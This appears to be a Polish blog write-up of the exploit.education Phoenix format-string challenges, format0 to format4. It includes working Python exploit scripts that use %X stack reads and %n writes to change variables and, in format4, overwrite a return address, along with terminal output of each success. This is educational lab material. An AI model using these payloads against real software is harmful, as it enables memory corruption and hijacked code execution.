“Gdy ci smutno gdy ci źle, zrób se formatowanie ciągu w C”
printf(), dla tych nie zaznajomionych, jest bardzo wygodną funkcją z z standardowej
biblioteki C, która pozwala na drukowanie tekstu na maszynie do pisania.
Znaczy się, taka prawdopodobnie jest jej geneza, czyli z czasów, gdy o fakcie
kupienia sobie komputera maszyny liczącej wiedziało (prawie) całe miasto
Używanie jej wygląda przykładowo w następujący sposób:
printf("Witaj %s, dzisiaj jest %02d %s - %.3s" , "Soveu", 8, "lutego", "piątek")
Wyświetlona treść będzie wyglądać następująco
Witaj Soveu, dzisiaj jest 08 lutego - pią
Ciągi formatujące występują nie tylko w C - występują w większości współczesnych
języków programowania (np. Go, Python). O ile w przypadku tych języków podanie
nieodpowiedniego ciągu formatującego kończy się błędem TypeError
(python) lub
wypisaniem danych w mniej elegancki sposób %!d(float64=13.5) %!c(MISSING)
(golang), to C wymaga od programisty zadbania o to.
Przykładowo,
printf("%p %p %p %p")
wypisze dane, które akurat znajdują się w miejscu argumentów - jest to zależne od architektury procesora oraz systemu operacyjnego. O tzw. “calling convention” polecam sobie poczytać ten dokument
format0
rozgrzewka, działa cokolwiek, np. %x%x%x%x%x%x%x%x
format1
tutaj potrzebna jest odrobina wiedzy z ciągów formatujących - bardzo ułatwia to życie.
zamiast próbować na siłę robić %x
lepiej jest to zrobić robiąc padding %10d
-
rozmiar ciągu jest wtedy pod kontrolą (w tym przypadku robi 10 spacji)
Flag: %44dlOvE
format2
Zmiana globalnej wartości - jak to zrobić?? Można zapisywać przy pomocy %n, ale wtedy na
stosie musi się znaleźć adres tej zmiennej. Hmmm…
Jest jeden bufor char buf[256]
, może by z niego coś spróbować zrobić?
#!/usr/bin/python
payload = "%X " * 50
padding = "A" * (256 - len(payload))
print(padding + payload)
Ciąg trzeba wprowadzić przez argv[1]
, dlatego lepiej sobie padding zrobić, żeby
nie było żadnych efektów ubocznych typu przesunięcie stosu przez dłuższy ciąg w
zmiennych środowiskowych
svu@unassigned:~$ ./amd64/format-two "`./format2/script.py`"
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0 0 FFFFE7E6 1010101 FFFFE44F FFFFE490 FFFFE490 FFFFE590 400745 FFFFE5E8 4003A0 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 58254141 25205825 20582520 58252058 25205825 20582520 58252058 25205825 20582520 58252058 25205825 20582520 58252058 25205825 20582520 58252058 25205825 20582520 58252058 2 F7D8FD62 0 FFFFE5E0 0 F7FFDBC8 3E00 Better luck next time!
svu@unassigned:~$
Parę adresów i nasz bufor składający się z 0x41 :)
Adres pamięci do zmiany trzeba umieścić na końcu buforu, ponieważ są nam potrzebne
zera na najbardziej znaczących bitach, a w C zero w ciągu oznacza jego koniec,
więc to co będzie za nim nie zostanie skopiowane przez strncpy()
.
#!/usr/bin/python
import struct
payload = "%X " * 27
payload += struct.pack("Q", 0x6010b0)
padding = "A" * (128 - len(payload))
print(padding + payload)
svu@unassigned:~$ ./amd64/format-two "`./format2/script.py`"
-bash: warning: command substitution: ignored null byte in input
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0 5 0 FFFFE58B FFFFE4CF FFFFE510 FFFFE510 FFFFE610 400745 FFFFE668 4003A0 41414141 41414141 41414141 41414141 41414141 58252058 25205825 20582520 58252058 25205825 20582520 58252058 25205825 20582520 58252058 6010B0 �`Better luck next time!
svu@unassigned:~$
Jak widać bash nam przypomina o tym fakcie. To, co również widać to ostatnia
“wydrukowana” liczba - adres, który jest kluczem tego crackme. Wystarczy zmienić
teraz ostatnie %X
na %n
i format-two
ukończone.
svu@unassigned:~$ ./amd64/format-two "`./format2/script.py`"
-bash: warning: command substitution: ignored null byte in input
Welcome to phoenix/format-two, brought to you by https://exploit.education
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0 5 0 FFFFE58B FFFFE4CF FFFFE510 FFFFE510 FFFFE610 400745 FFFFE668 4003A0 41414141 41414141 41414141 41414141 41414141 25205825 20582520 58252058 25205825 20582520 58252058 25205825 20582520 58252058 25205825 �`Well done, the 'changeme' variable has been changed correctly!
svu@unassigned:~$
Bum! :)
format3
To samo, tylko przez stdin i trzeba nadpisać konkretną wartością.
Wydaje się proste, ale trzeba wygenerować 0x64457845 (1.682.274.373 dziesiętnie)
znaków. Przyda się padding z format-two
svu@unassigned:~$ ./format3/script.py | ./amd64/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF7FFDC0C F7FFB300 F7DC2617 0 0 0 FFFFD680 FFFFE680 4006C6 FFFFE6D8 0 41414141 41414141 41414141 41414141 41414141 25205825 20582520 58252058 25205825 20582520 58252058 25205825 20582520 58252058 25205825 �`Better luck next time - got 0x000000f4, wanted 0x64457845!
Hah! Używając skryptu z poprzedniego zadania jestem w stanie zmienić dane w tym :D
To jest ten moment, dla którego warto robić notatki :)
Lekkie zmiany w kodzie
#!/usr/bin/python
import struct
amount = 0x1000
payload = "%X " * 25 + "%" + str(amount) + "x " + "%n"
payload += struct.pack("Q", 0x6010b0)
padding = "A" * (128 - len(payload))
print(padding + payload)
Better luck next time - got 0x000010e9, wanted 0x64457845!
Czyli krótko mówiąc, ilość znaków wypisanych = amount
+ 0xE9
Według wszelkich praw matematyki flaga = 0x64457845 - 0xE9
I taka drobna informacja, dla przyszłych czytelników - zapiszcie sobie
output do jakieś pliku, bo wyświetlenie paru milionów spacji troszkę zajmuje
Nie róbcie tego - plik waży parę gigabajtów i ledwo się mieści w moim RAM.
Używajcie tail -c 80
.
Better luck next time - got 0x6445783e, wanted 0x64457845!
7 znaków więcej…
svu@unassigned:~$ ./format3/script.py | ./amd64/format-three | tail -c 80
37343134 �`Well done, the 'changeme' variable has been changed correctly!
svu@unassigned:~$
Jestem tylko ciekaw, czy dało by się to zrobić nadpisując bajt po bajcie, wtedy ilość wygenerowanych znaków wynosiłaby zamiast półtora miliarda, 0x64 + 0x45 + 0x78 + 0x45 = 358
format4
*Serious music plays*
Kluczem do rozwiązania tego zadania jest nadpisanie adresu powrotu przy użyciu printf() Stos wygląda mniej-więcej w taki sposób
+------------------------------------------+
| zmienne |
| lokalne |
| printf |
+------------------------------------------+
| podstawa ramki stosu poprzedniej funkcji |
+------------------------------------------+
| adres powrotu do poprzedniej funkcji |
+------------------------------------------+
| zmienne |
| lokalne |
| funkcji |
| wywołującej |
+------------------------------------------+
Na x86-64 tylko 5 pierwszych argumentów jest przekazywanych przez rejestry CPU, reszta jest odkładana na stosie, dlatego przy większej ilości znaków formatujących (%x, %p…) printf() będzie odczytywał wartości ze stosu. Używając ich możemy przejść przez dane na stosie do kontrolowanego bufora i następnie wywołać %n kiedy printf() będzie odczytywał z miejsca, gdzie zapisaliśmy adres wartości do zmodyfikowania.
Pierwsze podejście:
wylądowałem na 0x400673 - o jeden bajt nie trafiłem :D
Drugie podejście:
44441����Well done, you're redirected code execution!
[Inferior 1 (process 836) exited normally]
gef➤
Dobra, zrobiłem to w debugerze, czas to zrobić ‘na sucho’ Nie działa, tak jak myślałem - stos się trochę przesunął przez debuggera
#!/usr/bin/python
import sys
import struct
ptr = 0x7fffffffe618
advance = int(sys.argv[1], 10)
ret = struct.pack("Q", ptr + advance)
# 0000000000400674 <congratulations>:
congrats = 0x400674
payload = ""
payload += "%X " * 8
payload += "%p" # here lies ret ptr
payload += "%X " * 9
payload += "%" + str(congrats - len(payload) - 79) + "d"
payload += "%p"
#ret = "\x68\xe6\xff\xff\xff\x7f\x00\x00" # addr of ret addr
# 0x7ffff7ffdc0c 0x7ffff7ffb300 0x7ffff7dc2617 0 0 0 0x7fffffffd690 0x7fffffffe690 0x4006e5
#ret = "\x18\xd6\xff\xff\xff\x7f\x00\x00" # addr of ret addr in gdb
# 0x7ffff7ffdc0c 0x7ffff7ffb300 0x7ffff7dc2617 0 0 0 0x7fffffffd650 0x7fffffffe650 0x4006e5
print(payload + ret)
svu@unassigned:~$ for i in {0..40}; do ./format4/script.py `expr ${i} \* 8` | ./amd64/format-four | grep Well; done
svu@unassigned:~$ for i in {0..40}; do ./format4/script.py -`expr ${i} \* 8` | ./amd64/format-four | grep Well; done
Nic nie działa… :(
Nie wiem czemu, ale return pointer był po prostu -4032 bajtów dalej
(pewnie zamiast D680 przeczytałem E680)
44441X����Well done, you're redirected code execution!
Zostałem przekierowaną egzekucją kodu! :D